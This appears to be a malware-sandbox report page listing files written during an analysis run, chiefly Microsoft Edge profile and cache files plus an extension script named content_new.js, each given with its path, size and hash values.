SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 30c2a390c9a047c8b1ff726f6feff75d57559c375f5009679aa0697aaf265a89
MD5 b19d9c3b6cc03d54663189a5881c32e5
SHA1 5af49839c00e717467553411cfc38b6343e6119c
SHA512 976c27c19e4a57a6da07460f50c4ef778029b43cc45fab8eacfcb0225ea1a41ea46e8cdc876eba722df333b838144380b5dc77265eea887e127c6483c728a709
SSDEEP 192:sxRTR3Cf/fAsUyE9sZN+4nj/fzoA8pW//g6+WNUaS/YZFLbOwP8GYSIgtJ:sxRT0f/fAsURSZnj/2M/5g/SbOLy3
TLSH
T17142A5166A28AD3B9CC7D21DBA15BF53D7F95132A1901E58B7FC860C14EA6DE220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 ca084836653066cca0de2f2a3d9188e1b03f8e08b94013e5c8c17c4958d5009b
MD5 000f1b20671122b818566c9ca3b17053
SHA1 077b486d44b8782591807538c5321fddfe2e96c0
SHA512 d11e4b3b6f42f94fe82beadf94b1a90ebc9220d390ff01331087acfd4bb8f09c41cccd349578ec4c1ae532cd6d150bea42b6351600c5d82c783d3c1ff7e6088b
SSDEEP 192:sxRAR3Cf/fAsZyE9sZN+4nj/fzoA8pW//g6+WNUaS/YZFLbOwP8GYSIgDQJ:sxRA0f/fAsZRSZnj/2M/5g/SbOLyw
TLSH
T14E42B6166A28AD3B9CCBD21DBA15BF53D7F95132A1901E48B7FC870C14EA6DE220740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 94be40a16ee5ee4c2ef19bf1fd2562540e1b56bd9b8dceffd7e67ea5b540ceea
MD5 08ecff24bfb3e60b2b6b07a745641018
SHA1 a65f872d5edd4e0d326bbfd53e4ddadae1ff5e8f
SHA512 a5b30a77c1346b2960930184042d54d13af7d9e8c56aa0826ee2ebd5a27649a954539124f66e017edbc161cf6053f34e738974798ac8ecb338acf9fce679bca4
SSDEEP 192:sxRAR3Cf/fAsZxE9sZN+4nj/fzoA8pW//g6+WNUaS/YZFLoOwP8GYSIgDGJ:sxRA0f/fAsZ2SZnj/2M/5g/SoOLye
TLSH
T19C42B7166A28AD3B9CC7D21DBA15BF53D7F95132A1901E48B7FCC70C14EA6DE220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 7efdc006cccc38d6ff0d3b7be06cc01d47ccf73c2d4122a8940ed5550e11eb2d
MD5 ab31285fd1880041c1e55b22599952f0
SHA1 6946907a410f35a88ce333e8faac418cea9dd5a9
SHA512 0c26ab21902ce889b983eacc8ad05c8e7158407bef5bae090dd604ff4862c90f94c1d801576400be1f34bb4355f607ee1086989ca878213f96f76ffcd0b045f6
SSDEEP 768:K80Ep67pLuL7FwWgNhfVN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVfAowLWrroL06cR:K80EpSE7FwWgNhfVNu1jaoAogWYLDcR
TLSH
T106D2D97B740DCB7E4F804ADDAC19BE9B6DA802CB96D8C94047FE851C02C6BEB51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a4f4a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a4f4a.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 74dae1fba09c4e2f1747219b2fa3bd59bc9907d73caacd005e4cf3ef1664279d
MD5 3f160439cb659eb845324826e07d17ee
SHA1 7296e94676f4a12ca395b9da60dab7e0507e1b79
SHA512 5b647b95db05e3d482bf581931211a85dd36b10f098cf2c88cb707f6c3416d96e7b63fe0388c97701b0c6624ff85ebdbfe25269845dd914a90eccc4cabbc409f
SSDEEP 768:Fj+9w3OYU+LeSFOU1qHX4fouOToPvB2thtA9VAgMb9MZ:w9w3O7snnwthtttb+Z
TLSH
T153F2BF71A9A98D23CDD6D369720F37D6AFF0427385C01F889EDD9B0D058769D4B0B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 ab68fb618b537a7c9ef8ab8897940a86740cd6512e999a528d92d890fc7593c4
MD5 51bf5b4d8adf787034caed6d8cd9abe2
SHA1 9ab237f856acc91abffefefdec56616a9d47c275
SHA512 db589a5cb4591bd0f840617c2e61886dc5e12358d8b4eb11f44eaf318f67316509c738e27a7b7b2b4dd1cf9e204833c5f887b8c316541c19090a07126176a36b
SSDEEP 768:sj+9w3jYU+LeSFOU1qHX4fouOToPvB2thtA9VAgMb9MZ:r9w3j7snnwthtttb+Z
TLSH
T18BF2BF71A9A98D23CDD6D369720F37D6AFF0427385C01F889EDD9B0D0587A9D4B0B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 9e3c89580aa0125c346b5931cd6301d3ff81e0abd7bc555b1365e6eb885374d1
MD5 85690206aedfef3d93cca204403d27c6
SHA1 91b622f8aab599b47528bdc915be80c0b9a6b3e5
SHA512 1d8ca738187f8c7a8b021f7051491cb91e8594e7cdafd209068f2dbf4c9a7a93a68b7fa41e33b90cb77125261ea30826b61771f7f1080a7ce2f0459031c6b282
SSDEEP 768:RF1j+9O3UwgYr1E1OU1qjX4fouOToPvB2thtA9VAgMb9MZ:w9O3Rhsnnwthtttb+Z
TLSH
T1C21327F298D78937D89E8397633D2E869EFCC163B5845984BB885E4CCC825BFC706805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 468f52724efbfcedd36aa3074295406a1c8cad861b99908afb0c2a3416b3fce2
MD5 29cd8237677e008186e2062e1f0b0e66
SHA1 3f7645acfeedcb1f6c64ba0c351f95e1b577e63e
SHA512 421b3b9a9a9e487a54c5592f003e9f2f54cb58db0bf40f7802a2b4567915b68f3b73f0628c7bd5976e5c6a94d993db224a2b1872b30c262d69b1a64d5ea32c1e
SSDEEP 768:Erv+4UNbdC3OUU+LeSFOU1qfX4fouOToPvB2thtA9VAgMb9MA:Ebsbc3Ofsnnwthtttb+A
TLSH
T17813BF72B9ACCD33DDA6D269720B76937FF4116385C40F88EAD99B4C064799E0B0B817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 c283cd5f5266674c1d78779721729e6332b2bbc850eeca847362bc15b0718373
MD5 11fccf874be46ced7baf038ea4423887
SHA1 56b76874d513e8a01ff08af18165eb6847ae11f9
SHA512 6c898e91f34e28a7b36d26b5ec169d66f6fb3a7f6d7852ab0f1449a75a371820b4e134408362523cd881111b76787339667e0767974d5840e3d0280dd850b38f
SSDEEP 768:grv+4UNbdH3Ag+LeSFOU1rX4fouOToPvB2thtA9VAwieVH1SlX:gbsbh30snnwthttzEH1Y
TLSH
T12703CF32A8A88933DDE6D398720B72533FF4912396D00FC49ADD1B4D069B9DE470BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcdad52a-35f3-405d-a53f-51d6d9b4645d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\dcdad52a-35f3-405d-a53f-51d6d9b4645d.tmp
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

babae1e4-f88d-466d-9862-4953c87c6b80.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\babae1e4-f88d-466d-9862-4953c87c6b80.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4772_1577620523\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download